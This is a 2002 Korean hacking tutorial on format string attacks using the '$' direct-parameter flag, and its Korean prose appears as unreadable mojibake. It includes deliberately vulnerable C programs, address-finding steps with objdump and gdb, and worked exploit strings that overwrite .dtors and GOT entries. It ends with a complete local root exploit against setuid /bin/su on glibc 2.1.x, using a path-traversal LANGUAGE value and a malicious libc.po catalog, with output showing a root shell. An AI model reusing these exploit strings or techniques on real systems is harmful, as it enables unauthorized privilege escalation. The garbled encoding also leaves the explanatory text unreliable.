|=======================================================================================| Title: $-flag¸¦ ÀÌ¿ëÇÑ Format String °ø°Ý Author : À¯µ¿ÈÆ (Xpl017Elz) in INetCop E-mail : szoahc@hotmail.com Home: http://x82.i21c.net Date: 2002/01/31 |=======================================================================================| 0x00. Overview 0x01. ¹è°æ ¼³¸í 0x02. Return Address ã±â 0x02. Stack°úÀÇ °Å¸® °è»ê 0x03. ½ÇÁ¦ Àû¿ëµÇ´Â °ø°Ý - exploit - result 0x04. End 0x05. Reference |=======================================================================================| 0x00. Overview ¹®¼­¸¦ ÀÛ¼ºÇϸ鼭 ´À³¤°ÍÀÌÁö¸¸, Áö³­ ¹ø amadoh4ck´ÔÀÇ ±Û¿¡ ÀüÀûÀ¸·Î µ¿ÀÇÇÑ´Ù. ±â¼úÀº ³ª³¯ÀÌ ¹ßÀüÇÑ´Ù. ¸ÕÀú ÀÍÈù »ç¶÷µéÀÇ Á¶±×¸¸ÇÑ °øÀ¯°¡ °øºÎÇÏ´Â ¸¹Àº ÀÌµé ¿¡°Ô´Â µµ¿òÀÌ µÉ°ÍÀ̶ó »ý°¢ÇÑ´Ù. ¿ì½º¿î À̾߱âÁö¸¸, µÚ´Ê°Ô ¹®¼­¸¦ °øÀ¯ÇÏ´Â ³» ÀÚ½ÅÀÌ Á¶±ÝÀº ºÎ²ô·´°Ô ´À²¸Áø´Ù. ´Ù¸¥ ÇØÄ¿´ÔµéÀÇ ¸ÚÁø °øÀ¯¸¦ ¹Ù¶ó¸ç ... ¾î¶»°Ô ÇÏ¸é ´õ¿í ´õ ³ªÀº ±â¼úÀ» ÀÌ¿ëÇϰí, Æí¸®ÇÑ °ø°ÝÀ» À§ÇØ ¿¬±¸¿¡ ¿­ÁßÇϰí ÀÖ´Â ¿©·¯ Hackerµé¿¡°Ô ÀÌ ¹®¼­°¡ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÑ´Ù. ³»¿ë»ó ºÎÀûÀýÇϰųª ±âŸ ¹®ÀÇ »çÇ×Àº mailÀ» ÀÌ¿ëÇØÁֱ⠹ٶõ´Ù. 0x01. ¹è°æ ¼³¸í ÀÌ¹Ì Àß ¾Ë·ÁÁ® ÀÖµíÀÌ Format String °ø°ÝÀº ¸¹Àº ¹ßÀüÀ» ÇØ¿Ô´Ù. ±âÁ¸ÀÇ Format String °ø°ÝÀº ¾à°£ÀÇ °è»êÀ» ÇÊ¿ä·Î ÇÑ´Ù. ±âÁ¸¿¡ ¾Ë·ÁÁø Format String °ø°Ý¹ý¿¡ ´ëÇØ °£´ÜÈ÷ ¤°í ³Ñ¾î°¡µµ·Ï ÇϰڴÙ. 1. Ãë¾àÁ¡ ÇÁ·Î±×·¥À» °ø°ÝÇϱâ À§ÇÑ Shellcode¸¦ ÁغñÇÑ´Ù. - ÇöÀç eggshell ÇÁ·Î±×·¥À¸·Î ÇØ°áÇÒ¼ö ÀÖ´Ù. 2. Shellcode°¡ ÀúÀåµÈ Address¸¦ ãÀºÈÄ 10Áø¼ö·Î º¯È¯ÇÏ´Â ÀÛ¾÷À» °ÅÄ£´Ù. 3. ½ÇÁ¦ Stack¿¡ ÀԷµǴ °ª°úÀÇ °Å¸®¸¦ °è»êÇÑ´Ù. 4. µ¤¾î ¾º¿öÁú Return Address¸¦ ã´Â´Ù. - .dtors¸¦ ÀÌ¿ëÇÏ¿© Return Address¸¦ ´ëóÇÏ¿© °ø°ÝÇÒ¼ö ÀÖ´Ù. 5. ¿Ï¼ºµÈ °ø°Ý StringÀ» ÇÁ·Î±×·¥¿¡ Àû¿ëÇÑ´Ù. ´ë°­ À§¿Í ºñ½ÁÇÑ ÀÛ¾÷ÀÌ ÀÌ·ïÁú°ÍÀÌ´Ù. eggshellÀ» ÀÌ¿ëÇϸé 1¹ø ¹®Á¦¸¦ ÇØ°áÇÒ¼ö ÀÖ°í, .dtors¸¦ ÀÌ¿ëÇÑ Format String ±â¹ýÀ» ÀÌ¿ëÇϸé 4¹øÀº ¾î·ÆÁö ¾Ê°Ô ÇØ°áÇÒ¼ö ÀÖ°Ô µÈ´Ù. ¹®Á¦´Â ½ÇÁ¦ Stack°úÀÇ °Å¸®°ªÀ» Â÷°¨ °è»ê¿¡¼­ ¹ß»ýÇÑ´Ù. 0x01. Return Address ã±â Stack Overflow °ø°Ý°°Àº °æ¿ì´Â Return Address¸¦ Shellcode°¡ ÀÖ´Â ÁÖ¼Ò·Î º¯°æÇÏ¿© shellÀ» ¶ç¿ì´Â ¹æ¹ýÀ» äÅÃÇØ¿Ô´Ù. ¹°·Ð, format string °ø°Ý ¶ÇÇÑ, ºñ½ÁÇÑ ¹æ½ÄÀ» »ç¿ëÇØ¿Ô´Ù. ÇÏÁö¸¸ format string °ø°ÝÀÇ °æ¿ì StackÀÇ ¾î´À ºÎºÐÀÌ¶óµµ µ¤¾î¾²±â°¡ °¡´ÉÇϱ⠶§¹®¿¡ ÄÄÆÄÀÏÈÄ º¯°æµÇÁö ¾Ê´Â ELF format ¿µ¿ªÀÇ .dtors³ª GOT (Global Offset Table) ¼½¼ÇÀ» µ¤´Â ¹æ½ÄÀÇ Çö¸íÇÑ ¹æ¹ýÀ» äÅÃÇÏ°Ô µÇ¾ú´Ù. °£´ÜÇÑ ¹æ¹ýÀ¸·Î ±âÁ¸ÀÇ Return Addressº¸´Ù Á¤È®ÇÑ ¿µ¿ªÀ» ¾Ë¾Æ³¾¼ö ÀÖ´Ù. ÀÌ ¹æ¹ýÀº Guido Bakker°¡ ÀÛ¼ºÇÑ ±Û(Overwriting ELF .dtors section to modify program execution)À» º¸¸é ½±°Ô ÀÌÇØÇÒ¼ö ÀÖ´Ù. Çѱ¹¿¡´Â amadoh4ck´ÔÀÌ ÀÛ¼ºÇÑ ±Û(.dtors¸¦ ÀÌ¿ë ÇÑ Format string ÀÚµ¿È­Åø ¼³°è)À» º¸¸é ÀÌÇØÇÒ¼ö ÀÖÀ¸¸®¶ó »ý°¢µÈ´Ù. + objdump tool·Î Destructor Table section ¾Ë¾Æ³»±â [x82@xpl017elz fmt]$ objdump -h program | grep .dtors 17 .dtors 00000008 0804961c 0804961c 0000061c 2**2 [x82@xpl017elz fmt]$ ³ª¿Â °ªÀº 0x0804961cÀÌ´Ù. ÀÌ ÁÖ¼ÒÀÇ 4byteÈÄ¿¡´Â Ŭ¸°¾÷ ÇÔ¼öÀÇ ÁÖ¼Ò°¡ Á¸ÀçÇϴµ¥ À̸¦ µ¤¾î¾²¸é ÇÁ·Î±×·¥À» ¿ì¸®°¡ ¿øÇÏ´Â È帧À¸·Î º¯°æÇÒ¼ö ÀÖ´Ù. + objdump tool·Î Global Offset Table section ¾Ë¾Æ³»±â [x82@xpl017elz fmt]$ objdump --dynamic-reloc program | grep printf 08049648 R_386_JUMP_SLOT printf [x82@xpl017elz fmt]$ 0x08049648 À§ .dtors ¼½¼Ç¿µ¿ª°ú ±×¸® ¸ÖÁö ¾ÊÀº °Å¸®¿¡ ÀÖÀ½À» ¾Ë¼ö ÀÖ´Ù. + gdb tool·Î Global Offset Table section ¾Ë¾Æ³»±â [x82@xpl017elz fmt]$ (printf "disass printf"; cat) | gdb -q program (gdb) Dump of assembler code for function printf: 0x80483c8 : jmp *0x8049648 0x80483ce : push $0x30 0x80483d3 : jmp 0x8048358 <_init+48> End of assembler dump. (gdb) ¿ª½Ã disassemble °á°ú, "jmp *0x8049648" Global Offset Table sectionÀÌ Ãâ·ÂµÇ¾ú´Ù. 0x02. Stack°úÀÇ °Å¸® °è»ê À̹ø¿¡´Â ¹ø°Å·Î¿î Stack°úÀÇ °Å¸® °è»êÀÛ¾÷À» ÇÒ Â÷·ÊÀÌ´Ù. ¾Æ·¡, °£´ÜÇÑ ¿¹¸¦ µé¾îº¸°Ú´Ù. |= source: fmtbug1.c ===================================================================| #include main(int argc, char *argv[]) { char values[100]; snprintf(values,80,argv[1]); printf(values); printf("n"); } |=======================================================================================| ½ÇÇà °á°ú: [x82@xpl017elz fmt]$ ./fmtbug1 AAAA%8x AAAA41414141 [x82@xpl017elz fmt]$ |= source: fmtbug2.c ===================================================================| #include main(int argc, char *argv[]) { printf(argv[1]); printf("n"); } |=======================================================================================| ½ÇÇà °á°ú: [x82@xpl017elz fmt]$ ./fmtbug AAAA+`perl -e 'print "%8x"x84'` AAAA+bffffae8400301eb 2bffffb14bffffb2040012024 2 8048320 0 804 8341 80483c8 2bffffb14 8048298 804841c4000a610bffffb0c40012670 2bfff fc0bbffffc14 0bffffd16bffffd30bffffd3ebffffd54bffffd61bffffd73bffffd8dbfff fd98bffffda6bffffe04bffffe0fbffffe24bffffe34bffffe46bffffe50bffffe5fbffffe72bfff fe7abffffe87bffffe8fbfffffe8 0 3 8048034 4 20 5 6 6 1000 740000000 8 0 9 8048320 b 0 c 0 d 0 e 0 10 387f9ff fbfff fc06 0 0 0 0 0 0 0 0 03669 00002e003638746d662f 67756241414141 [x82@xpl017elz fmt]$ ù¹øÂ° ÇÁ·Î±×·¥ÀÇ °æ¿ì´Â Stack°Å¸® Â÷°¨ °è»ê¾øÀÌ ½±°Ô exploitÇÏ¿© °ø°ÝÀÌ °¡´É ÇÏ´Ù. ÇÏÁö¸¸, µÎ¹øÂ°ÀÇ °æ¿ì´Â ¾à°£ ´Ù¸£´Ù. Stack°úÀÇ °Å¸®°ªÀÌ Å©±â ¶§¹®¿¡ µµ´Þ Çϱâ±îÁö Ãâ·ÂÇØ¾ß ÇÏ´Â º¯È¯¹®ÀÚ¸¦ ¸¹ÀÌ ÀÔ·ÂÇØ¾ß ±× °ªÀ» ¾Ë¼ö ÀÖ´Ù. ÀÌ·²¶§´Â ÀüºÎ ÀÔ·ÂµÈ º¯È¯¹®ÀÚÀÇ °ªÀ» ±¸ÇÏ¿© º¯È¯µÈ 10Áø¼ö Shellcode ÁÖ¼Ò¿¡¼­ minus(-) ÇØÁà¾ß ÇÑ´Ù. ÀÌ ¹ø°Å·Î¿î ÀÛ¾÷Àº Remote FTPD Format String°ø°Ý°ú Glibc Format String °ø°Ý½Ã ¾Ç¸ùÀ¸·Î ±â¾ïµÈ´Ù. ¸¸¾à À§ÀÇ Ã¹¹øÂ° °æ¿ì·Î °ø°ÝÇÒ¼ö ÀÖ´Ù¸é ½¬¿î °è»êÀ¸·Îµµ °ø°ÝÀ» ¼º°øÇÒ¼ö ÀÖÀ»°ÍÀÌ´Ù. ¾ÖÃÊ¿¡ Andreas ThuemmelÀ̶õ »ç¶÷Àº "$-flag"¸¦ ÀÌ¿ëÇÏ¿© ÁÖ¾îÁø Àμö·Î Á¢±ÙÇÏ´Â Æí¸®ÇÑ ¹æ¹ýÀ» Á¦½ÃÇÏ¿´´Ù. ÀÌ ¹æ¹ýÀº ÇÁ·Î±×·¥ÀÌ ÀԷ¹޴ °ø°£Áß, °ø°Ý ¹®ÀÚ¿­¿¡ ÀÇÇÑ °ø°£À» ÁÙ¿©ÁÙ»Ó¸¸ ¾Æ´Ï¶ó Á¤È®ÇÑ °è»êÀ» ÅëÇØ ¿ì¸®°¡ ¿øÇÏ´Â °ªÀ¸·Î µ¤¾î¾º¿ì±â¸¦ ½Ãµµ ÇÒ¼ö ÀÖ´Ù. ±×·³, ¼­·Î ´Ù¸¥ µÎ°¡ÁöÀÇ ¹æ¹ýÀ¸·Î °ø°ÝÀ» ½ÃµµÇغ»ÈÄ ºñ±³Çغ¸µµ·Ï ÇÏÀÚ. ÀϹÝÀûÀÎ °ø°Ý ¹æ¹ý: [x82@xpl017elz fmt]$ ls -la fmtbug2 -rwsr-xr-x 1 root root 11700 Feb 7 21:23 fmtbug2 [x82@xpl017elz fmt]$ [x82@xpl017elz fmt]$ gcc -o eggshell eggshell.c [x82@xpl017elz fmt]$ ./eggshell Using address: 0xbffffb94 bash$ 0x b : 16 x 16 x 16 x 16 x 16 x 16 x 16 x b(11) f : 16 x 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x f(15) b : 16 x 16 x b(11) 9 : 16 x 9 4 : + 4 0xfb94 : 64404 0x1bfff(114687) - 0xfb94(64404) = 0xc46b(50283) 64404 - 16(address) - 1(pad) - (84 * 8) = 63715 bash$ ./fmtbug2 `(printf "x82x82x82x82x7cx94x04x08x82x82x82x82x7ex9 4x04x08")`+`perl -e 'print "%8x"x84'`%63715x%n%50283x%n ‚‚‚‚‚‚‚‚+bffff0d8400301eb 2bffff104bffff11040012024 2 8048320 0 8048341 80483c8 2bffff104 8048298 804841c4000a610bffff0fc40012670 2bffff1ffbffff208 0bffff328bffff342bffff350bffff366bffff373bffff385bffff39 fbffff3aabffff3b8bffff416bffff421bffff436bffff446bffff450bffff650bffff65fbffffe5 fbffffe72bffffe7abffffe87bffffe8fbfffffe8 0 3 8048034 4 2 0 5 6 6 1000 740000000 8 0 9 804832 0 b 0 c 0 d 0 e 0 10 387f9f f fbffff1fa 0 0 0 0 0 0 0 0 0366900002e003638746d662f 677562 ... Áß ·« ... 82828282 ... Áß ·« ... bash# $-flag¸¦ ÀÌ¿ëÇÑ °ø°Ý ¹æ¹ý: 64404 - 16(address) - 1(pad) = 64387 bash$ ./fmtbug2 `(printf "x82x82x82x82x7cx94x04x08x82x82x82x82x7ex9 4x04x08")`+%85$64387x%86$n%87$50283x%88$n ‚‚‚‚‚‚‚‚+ ... Áß ·« ... 82828282 ... Áß ·« ... bash# °£´ÜÇÑ °è»êÀ¸·Î StringÀ» ¸¸µé¾î °ø°ÝÇÑ °á°ú ½±°Ô shellÀ» ¶ç¿ï¼ö ÀÖ¾ú´Ù. À§ÀÇ String À» ºÐ¼®Çغ¸ÀÚ. %85$64387x // %86$n // %87$50283x // %88$n ¿ì¸®°¡ ÀÔ·ÂÇÑ º¯È¯¹®ÀÚ´Â 84°³(%8x) + 4°³(%63715x%n%50283x%n) ÃÑ, 88°³ÀÌ´Ù. µ¤¾î¾º¿ï Address°¡ Á¸ÀçÇϴ°ÍÀº 84°³¸¦ Áö³ª 85°³ ÀԷºÎÅÍ ÀΰÍÀÌ´Ù. ±×·¸´Ù¸é, À§ÀÇ "$" flag´Â ¹«½¼ ¿ªÇÒÀ» Çϴ°ÍÀϱî? ¹Ù·Î, ÁÖ¾îÁø Àμö¸¦ Á÷Á¢ ¾²±âÇϴ°ÍÀÌ´Ù. 84°³ÀÇ º¯È¯¹®ÀÚ Ãâ·Â¾øÀ̵µ Çѹø¿¡ °ø°ÝÀÚ°¡ µ¤¾î¾º¿ï Address·Î Á¡ÇÁÇÏ¿´´Ù. »Ó¸¸¾Æ´Ï¶ó 84°³ÀÇ º¯È¯¹®ÀÚ ÀÔ·ÂÀÌ ¾øÀ¸¹Ç·Î °è»êµÈ °ª À» µû·Î minus(-) ÇØÁÙ Çʿ䰡 ¾ø´Ù. ´ÜÁö, 10Áø¼ö·Î º¯°æÇÑ ShellcodeÀÇ ÁÖ¼Ò¿¡¼­ µ¤¾î ¾º¿ï Address 16byte¿Í pad°ª "+" 1byte¸¦ minus(-)ÇØÁÖ¸é µÇ´Â°ÍÀÌ´Ù. :-) 0x03. ½ÇÁ¦ Àû¿ëµÇ´Â °ø°Ý °¡Àå ´ëÇ¥ÀûÀÎ °ø°ÝÀ¸·Î Glibc 2.1.x »ó¿¡¼­ ÀϾ´Â /bin/su format string °ø°ÝÀ» ½Ãµµ ÇØº¸µµ·Ï ÇϰڴÙ. ÀÌ °ø°ÝÀº C library ÆÄÀÏ¿¡ °ø°Ý format stringÀ» ³Ö¾î¼­ error Ãâ·Â½Ã ÇÁ·Î±×·¥ÀÌ ÆÄÀÏÀÇ ³»¿ëÀ» ÂüÁ¶Çϵµ·Ï ÇÏ¿© shellÀ» ¾ò´Â ¹æ¹ýÀ» ÀÌ¿ëÇÑ´Ù. - exploit ÀÏ´Ü, ÇÁ·Î±×·¥ÀÌ ÂüÁ¶ÇÒ C library ÆÄÀÏÀÇ °æ·Î¸¦ ¼³Á¤ÇÑ´Ù. [x82@xpl017elz x82]$ ./eggshell Using address: 0xbffffb88 bash$ LANGUAGE=ca_ES/../../../../../../tmp && export LANGUAGE bash$ cd /tmp bash$ mkdir LC_MESSAGES; cd LC_MESSAGES ´ÙÀ½Àº ÇÁ·Î±×·¥ÀÌ ÂüÁ¶ÇÒ C library ÆÄÀÏÀÇ ³»¿ëÀÌ´Ù. ÀϹÝÀûÀÎ °ø°ÝÀ¸·Î´Â ÀÔ·ÂÇÑ º¯È¯¹®ÀÚ "%8x"¸¦ ÀüºÎ °è»êÇÑÈÄ 10Áø¼ö·Î º¯È¯ÇÑ Shellcode °ª¿¡¼­ minus(-) ÇÏ¿© °ªÀ» ³Ö¾ú´Ù. ÇÏÁö¸¸, $-flag¸¦ ÀÌ¿ëÇϸé ÀÌ ÀÛ¾÷Àº ¹«½ÃÇØµµ µÈ´Ù. ¿©±â¼­ ÀÏ¹Ý format string °ø°Ý°úÀÇ ´Ù¸¥Á¡Àº µ¤¾î¾²±â À§ÇÑ Address 16byte¸¦ °è»êÇÏÁö ¾Ê¾Æµµ µÈ´Ù´ÂÁ¡ÀÌ´Ù. ÀÌ Address´Â su ÇÁ·Î±×·¥ÀÇ Àμö·Î Àû¿ëµÇ°Ô µÈ´Ù. 0x b : 16 x 16 x 16 x 16 x 16 x 16 x 16 x b(11) f : 16 x 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x f(15) b : 16 x 16 x b(11) 8 : 16 x 8 8 : + 8 0xfb94 : 64392 0x1bfff(114687) - 0xfb88(64392) = 0xc477(50295) bash$ cat > libc.po msgid "%s: invalid option -- %cn" msgstr "%139$64392x%140$n%141$50295x%142$nn" ^O bash$ msgfmt -o libc.mo libc.po && chmod 777 * ´ÙÀ½Àº /bin/su ÇÁ·Î±×·¥ÀÇ Àμö·Î À߸øµÈ ¿É¼ÇÀ» Áý¾î³Ö¾î format stringÀ» ÀÏÀ¸Å²´Ù. À̶§, ¿ì¸®°¡ µ¤À» suÀÇ .dtors, GOTÁÖ¼Ò¸¦ ³Ö¾îÁØ´Ù. "+"°¡ 3¹ø µé¾î°£ °ÍÀº pad°ªÀ» ÀÌ¿ëÇÏ¿© offsetÀ» ¸ÂÃá°ÍÀÌ´Ù. su -`(printf "x82x82x82x82x24xdax04x08x82x82x82x82x26xdax04x08")`+++ °ø°ÝÇÒ StringÀÌ ¿Ï¼ºµÇ¾ú´Ù. ÀÚ, ±×·³ °ø°ÝÀ» ÇØº¸ÀÚ. - result bash$ ls -la /bin/su -rwsr-xr-x 1 root root 21672 Oct 23 00:34 /bin/su bash$ id uid=501(x82) gid=501(x82) groups=501(x82) bash$ /bin/su -`(printf "x82x82x82x82x24xdax04x08x82x82x82x82x26xdax04 x08")`+++ ... Áß ·« ... 82828282 ... Áß ·« ... 82828282 Try `su --help' for more information. bash# bash# id uid=501(x82) gid=501(x82) euid=0(root) groups=501(x82) bash# whoami root bash# °ø°ÝÀÌ ¼º°øÇÏ¿´´Ù :-) À§¿Í °°ÀÌ "$-flag"¸¦ ÀÌ¿ëÇϸé Stack°úÀÇ °Å¸® Â÷°¨ °è»ê¹ýµîÀÇ ¹ø°Å·Î¿î ÀÛ¾÷À» °ÅÄ¡ Áö ¾Ê¾Æµµ µÈ´Ù. ´Ü, »çÀü¿¡ º¯È¯¹®ÀÚ¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÀÚ°¡ ÀÔ·ÂÇÏ´Â ¹®ÀÚ¿­ÀÌ ¾î´À ºÎ ºÐ¿¡ ÀúÀåµÇ´ÂÁö ¾Ë¾ÆµÎ¾î¾ß ÇÑ´Ù. FTPD Remote °ø°ÝÀº ¿©·¯ºÐÀÌ Á÷Á¢ exploit ÇØº¸±æ ¹Ù¶õ´Ù. 0x04. End ³¡¸¶Ä§. ±×¸® ´ë´ÜÇÑ °ø°Ý±â¹ýÀº ¾Æ´ÏÁö¸¸ format stringÀ» °øºÎÇÏ´Â »ç¶÷µé¿¡°Ô Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÑ´Ù. ¿©·¯¸ð·Î ¹®¼­¸¦ ÀÛ¼ºÇÒ¼ö Àִ ȯ°æÀ» ¸¸µé¾î ÁֽŠINetCop Team ¿¡°Ô °¨»çÀÇ ¸»À» ÀüÇϸç, ¹®¼­¸¦ ÂüÁ¶ÇÏ¿© °øºÎÇÏ°í °è½Å ¿©·¯ Hacker´Ôµé²²µµ °¨»çµå¸°´Ù. 0x05. Reference - Overwriting ELF .dtors section to modify program execution (Author: Guido Bakker) - .dtors¸¦ ÀÌ¿ëÇÑ Format string ÀÚµ¿È­Åø ¼³°è (Author: amadoh4ck) - Analysis of Format String Bugs (Author: Andreas Thuemmel) - http://61.37.177.32/~x82/BOX/etc_exploit/glibc-2.1.x/glibc-report.txt (Author: Xpl017Elz) /* ^-^ */